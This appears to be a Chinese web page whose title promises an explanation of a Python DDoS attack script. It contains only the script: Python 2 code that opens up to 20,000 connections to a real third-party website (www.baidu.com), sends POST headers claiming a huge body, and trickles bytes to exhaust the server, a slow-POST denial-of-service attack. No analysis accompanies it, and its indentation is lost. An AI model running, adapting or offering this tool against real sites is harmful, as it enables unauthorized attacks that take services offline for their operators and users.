Python版DDoS攻击脚本原理与实现解析

核心代码实现解析

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()